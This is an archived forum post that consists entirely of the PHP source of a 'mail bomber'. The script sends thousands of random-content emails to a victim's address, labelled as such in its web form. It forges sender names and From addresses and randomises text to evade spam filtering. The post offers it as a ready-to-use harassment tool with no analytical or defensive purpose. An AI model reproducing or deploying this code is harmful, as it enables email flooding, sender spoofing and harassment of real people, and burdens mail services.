PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : PHP Mass Mail Bomber



InFlames
11.12.2007, 12:26
<?
function fux($str) {
$i = 0;
while ($i < strlen($str)) {
$s = $str{$i};
$r = rand(0,9);
if ($r > 4) { $o = $o.strtoupper($s); }
else { $o = $o.strtolower($s); }
$i++;
}
return $o;
}
function hax($str) {
$i = 0;
$from = array('a','e','i','l','o','s','t');
$to = array('4','3','1','1','0','5','7');
while ($i < strlen($str)) {
$s = $str{$i};
$r = rand(0,9);
if ($r > 4) { $o = $o.str_replace($from,$to,$s); }
else { $o = $o.$s; }
$i++;
}
return $o;
}
function rx($str) {
$r = rand(0,1);
if ($r) { $str = hax($str); }
else { $str = fux($str); }
return $str;
}
function r($len) {
$r = rand(0,1);
if ($r) { $o = chr(rand(65,90)); }
else { $o = chr(rand(97,122)); }
$i = 1;
while ($i < $len) {
$i++;
$r = rand(0,2);
if ($r) { $o = $o.chr(rand(65,90)); }
elseif ($r == 1) { $o = $o.chr(rand(97,122)); }
else { $o = $o.rand(0,9); }
}
return $o;
}
function gettok($str,$tok,$chr) {
$str = explode(chr($chr),$str);
if (substr($tok,1) == '-') {
$rest = TRUE;
$tok = substr($tok,0,-1);
}
$tok--;
if ($rest) {
for ($i = $tok; $i < count($str); $i++) { $newstr = ($newstr) ? $newstr.chr($chr).$str[$i] : $str[$i]; }
return $newstr;
}
else { return $str[$tok]; }
}
if ($_POST['to'] && $_POST['t'] && $_POST['len']) {
echo '<hr />'."rn";
$to = $_POST['to'];
$t = $_POST['t'];
$len = $_POST['len'];
if ($_POST['s']) { $s = $_POST['s']; $sub = $s; }

$i = 0;

// -------------------------------------------------------------
// EDIT THIS PART FOR... FOR... MORE FUN =D
// -------------------------------------------------------------

$nameList[] = rx('Cr00t');
$nameList[] = rx('r00t');
$nameList[] = rx('r00t');
$nameList[] = rx('CHANGE THIS');
$nameList[] = rx('CHANGE THIS');
$nameList[] = rx('CHANGE THIS');
$nameList[] = rx('CHANGE THIS');
$nameList[] = rx('CHANGE THIS');

// U can add more names here, just for fun

$emailList[] = 'chatfree2@hotmail.com';
$emailList[] = 'chatfree2@hotmail.com';
$emailList[] = 'chatfree2@hotmail.com';
$emailList[] = 'email_to_send_from_4@hotmail.com';

// U can add more emails here. Put any email u want ^^
// -------------------------------------------------------------

while ($t > $i) {
$i++;

$c = count($nameList);
$r = rand(1,$c) - 1;
$name = $nameList[$r];

$c = count($emailList);
$r = rand(1,$c) - 1;
$email = $emailList[$r];

$headers = "MIME-Version: 1.0rn";
$headers .= "Content-type: text/html; charset=iso-8859-1rn";
$tt = explode('@', $to);
$headers .= "To: " . $tt[0] . " <" . $to . ">" . "rn";
/*
$r = rand(0,9999);
$m1 = md5($r);
$r = rand(0,9999);
$m2 = md5($r);
$email = $m1.'@'.$m2.'.com';
*/
$headers .= 'From: '.str_replace('-',' ',$name).' <'.$email.'>' . "rn";

if ($i == 1) {
if (!$s) { echo '_DATA 01 '.$to."rn"; }
else { echo '_DATA 01 '.$to.'?'.$s."rn"; }
}

$m = r($len);
if (!$sub) { $s = r(rand(30,46)); }
else {
$s = gettok($sub,'2-',63);
$s = str_replace('-',' ',$s);
if (gettok($sub,1,63) == hax) { $s = hax($s); }
elseif (gettok($sub,1,63) == fux) { $s = fux($s); }
elseif (gettok($sub,1,63) == rx) { $s = rx($s); }
else { $s = $sub; }
}
$mail = mail($to,$s,$m,$headers);
if ($mail) { echo '_DATA 02 i++?'.$len.'?'.$name.'?'.$email.'?'.str_replace(' ','-',$s)."rn"; }
else { echo '_DATA 03 err0r'."rn"; }
}
echo '_DATA 04'."rn";
}
else {
echo '_DATA 05'."rn";
echo '<form action="'.$_SERVER['PHP_SELF'].'" method="post">
<table width="60%" cellspacing="1" cellpadding="3" border="0" align="center">
<tr>
<th colspan="2">Made by Patel</th>
</tr>
<tr>
<td>Victims Email:</td>
<td><input name="to" type="text" value="Enter the ~censored~ email here" size="30"></td>
</tr>
<tr>
<td>Number of Bombs:</td>
<td><input name="t" type="text" value="5000" size="30" /></td>
</tr>
<tr>
<td>Keep this 1 for fastes send:</td>
<td><input name="len" type="text" value="1" size="30" /></td>
</tr>
<tr>
<td>Subject (optional):</td>
<td><input name="s" type="text" value="Enter your message here" size="30" /></td>
</tr>
</tr>
<tr>
<td colspan="2" align="center"><input type="submit" value="Bomb Them All" /></td>
</tr>
</form>'."rn";
}
?>